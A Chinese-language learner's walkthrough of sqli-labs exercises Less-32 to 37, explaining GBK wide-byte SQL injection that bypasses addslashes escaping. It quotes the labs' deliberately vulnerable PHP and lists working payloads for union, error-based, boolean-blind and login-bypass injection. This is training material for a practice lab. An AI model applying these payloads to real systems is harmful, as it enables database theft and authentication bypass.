宽字节注入 原理在下方
目录
less-32
正常页面
?id=1' 下面有提示 获取到了Hint: The Query String you input is escaped as : 1\'
?id=1''
看来是把参数中的非法字符就加上了转义 从而在数据库中只能把单引号当成普通的字符
?id=1 and 1=1 成功
?id=1 and 1=2 成功
看来是字符型参数
但是加上单引号被转义
我想到了国标码里面%df\ 是一个汉字 也就是宽字节注入
当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字"連",所以这时,单引号成功逃逸,报出MySQL数据库的错误。
?id=1%df' and 1=1 ;%00 成功
?id=1%df' and 1=2 ;%00 无返回结果
确定注入点了
代码
分析
<?php include("../sql-connections/sql-connect.php"); function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; } // take the variables if(isset($_GET['id'])) //判断id是否存在参数 { $id=check_addslashes($_GET['id']); 对参数进行检查如果有非法符号 加反斜杠转义 $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);//日志 mysql_query("SET NAMES gbk");//mysql编码方式为gbk gbk编码方式就是造成宽字节注入的 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//如果是参数为1%df' 经过处理就变成了1\' 反斜杠在数据库中会被进行GBK编码 从而和%df结合成为一个汉字 单引号从而逃逸出来 ?>
宽字节注入原理
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将'转换为\'(转换的函数或者思路会在每一关遇到的时候介绍)。
PHP 自带一些转义特殊字符的函数,如addslashes()
,mysql_real_escape_string()
,mysql_escape_string()
等,这些函数可用来防止 SQL 注入。
如id=1'or'1'='1
,单引号本用来闭合语句,这些函数会自动转义这些闭合的单引号,在这些单引号前面加上转义符\
,变为1\'or\'1\'=\'1
,如此在 SQL 查询中是一个普通的字符串,不能进行注入。
而网站在过滤'
的时候,通常的思路就是将'
转换为\'
,因此我们在此想办法将'
前面添加的\
去掉,一般有两种思路:
-
%bb吃掉``\
如果程序的默认字符集是GBK
等宽字节字符集,就有可能产生宽字节注入,绕过上述过滤。
若在 PHP 中使用mysql_query("set names gbk")
将默认字符集设为GBK
,而使用addslashes()
转义用户输入,这时如果用户输入%bb%27
,则addslashes()
会在%27
前面加上一个%5c
字符,即转义字符\
。
而 MySQL 在使用GBK
编码时,会认为两个字符为一个汉字,%bb%5c
是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),也就是籠
,也就是说%bb%5c%27
=籠'
,这样单引号就未被转义能闭合语句,从而产生 SQL 注入。%bb
并不是唯一一个可以产生宽字节注入的字符,理论上%81
-%FE
均可。 -
过滤
\'
中的\
构造%bb%5c%5c%27
,addslashes()
会在两个%5c
和%27
前都加上\
即%5c
,变为%bb %5c%5c %5c%5c %5c%27
,但宽字符集认为%bb%5c
是一个字符即籠
,则变为%bb%5c %5c%5c %5c%5c %27
即籠\\\\'
,四个\
正好转义为两个\
,即'
未被转义。这也是 bypass 的一种方法。
less-33
正常页面
判断注入点
?id=1 and 1=1 成功
?id=1 and 1=2 成功
看来还是字符型的
?id=1' 依旧提示
?id=1%df' and 1=1;%00 报错 并提示
看来%00空字节注入不可以了 应该是转义%了
?id=1%df' and 1=1--+ 成功
?id=1%df' and 1=2--+ 无返回结果
确定注入点了
我再想他应该不是转义% 如果转义%那么%df也出问题了
发现和上一关没什么区别呀 看看源码吧
分析出来了 其他都一样 就是处理非法字符的方式不一样
该关使用
function check_addslashes($string)
{
string= addslashes(string);
return $string;
}
less-34
开始post型注入了
使用bp
uname=admin' 登录失败
一个道理单引号被转义了
不能使用火狐插件
在url中如果输入%df url自动识别不会再次进行编码了
但是在post表单中 看到了%df 会把%继续进行url编码 从而导致不好使
又学到了一个小知识 万能密码中要使用or 1 一真则真的方式 这样虽然没有用户也会查询出所有的 于是就可以逐行显示出来了
uname=admin%df%5c%5c' or 1=1 limit 2,1#&passwd=1
确定了注入点
在这里提醒 就是万能密码 虽然我有admin 或者非用户 但是使用or的时候 为永真 则查询出来的是所有的用户 就相当于where 后为真
uname=admin%df' order by 2#&passwd=123
uname=admin%df' order by 3#&passwd=123 报错了
这个联合查询 因为%df和%5c组成为了汉字 所以带到数据库查询的是admin+汉字 所以查不到
uname=admin%df' union select 1,2#&passwd=123 1,2都为显示位
uname=admin%df' union select database(),2#&passwd=123 获取到了数据库
到这我想尝试and 但是突然又想到了 又学到了一个知识 就是admin%df%5c不存在用户 如果使用and 语句本身就是不执行的 因为and有一个假就是假的 哪怕1=1(这就是我研究半天 脑袋发蒙的地方)
但是可以使用or
报错函数and和or都可以 但是使用那两种方式的报错因为concat('~')就算加上%df也会提示 参数出错 (uname=admin%df' and extractvalue(1,concat(0x7e,database()))#&passwd=123 成功了 转换为十六进制就好了)
但是可以使用联合报错
uname=admin%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x)#&passwd=123
在时间盲注的时候 and 会立马结束 我理解 但是or的时候一直执行sleep停不下来搞不懂
布尔盲注
一开始以为布尔不可以因为admin%df%5c为假 不能使用and了 但是可以继续构造语句 前面永真后面为假
uname=admin%df' or 1 and 1=1#&passwd=123 成功
uname=admin%df' or 1 and 1=2#&passwd=123 失败
前面的or构成了万能密码语句 永真 and 构造成布尔语句
less-35
正常页面
注入测试
?id=1 and 1=1 成功
?id=1 and 1=2 失败
整型 感觉没这么简单
?id=1 order by 4 报错
?id=0 union select 1,2,3 显示位 2,3号位置
?id=0 union select 1,database(),3 得出数据库
这跟第二关没区别呀 看源码
sql<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); function check_addslashes($string) { $string = addslashes($string);//去除非法字符函数 return $string; } if(isset($_GET['id'])) { $id=check_addslashes($_GET['id']);//处理 $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); //日志 mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//整型参数 用不上非法字符 $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?>
我丢真6 确实有去除非法字符 但是参数是整型 用不上非法字符 和第二关一样 哈哈 有意思
有这么一点需要注意一下
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
切记:security 转为16进制为0x7365637572697479 是不包括引号的,转为16进制也不需要引号
哈哈转换十六进制也是新学的知识点 那么less-34 的concat~也没问题了 把~转换成十六进制
less-36
正常页面
注入测试
?id=1 and 1=2 成功 看来是字符型的
?id=1%df' and 1=1 --+ 成功
?id=1%df' and 1=2 --+ 失败
在过程中发现
?id=1%df' and 1=1 ;%00 过滤了%
报错to use near '\0' 单引号引发的问题
提示Hint: The Query String you input is escaped as : 1�\' and 1=2 ;\0
?id=1%df' and 1=1 # 过滤了#
报错 to use near '' 单引号引发的问题
提示 Hint: The Query String you input is escaped as : 1�\' and 1=2
其余与上一关同理
less-37
正常登录无账号密码 登录失败
开始注入测试
uname=qwe'&passwd=qwe&submit=Submit 被转义
uname=qwe%df' or 1#&passwd=qwe&submit=Submit
成功找到注入点 这就算使用万能密码的方式
在这里注意一下 如果不知道账号的前提下 不要使用and进行判断 因为
假 and 真
假 and 假
都是一个效果
uname=qwe%df' union select 1,2#&passwd=qwe&submit=Submit
啊?和前两题没什么区别呀 就是变成了post的方式
看一下源码
没什么问题 就是和前面一样 知识变成了 post的形式
提醒
post最好使用bp直接弄 不要使用 hacker 容易翻车
详情看前几关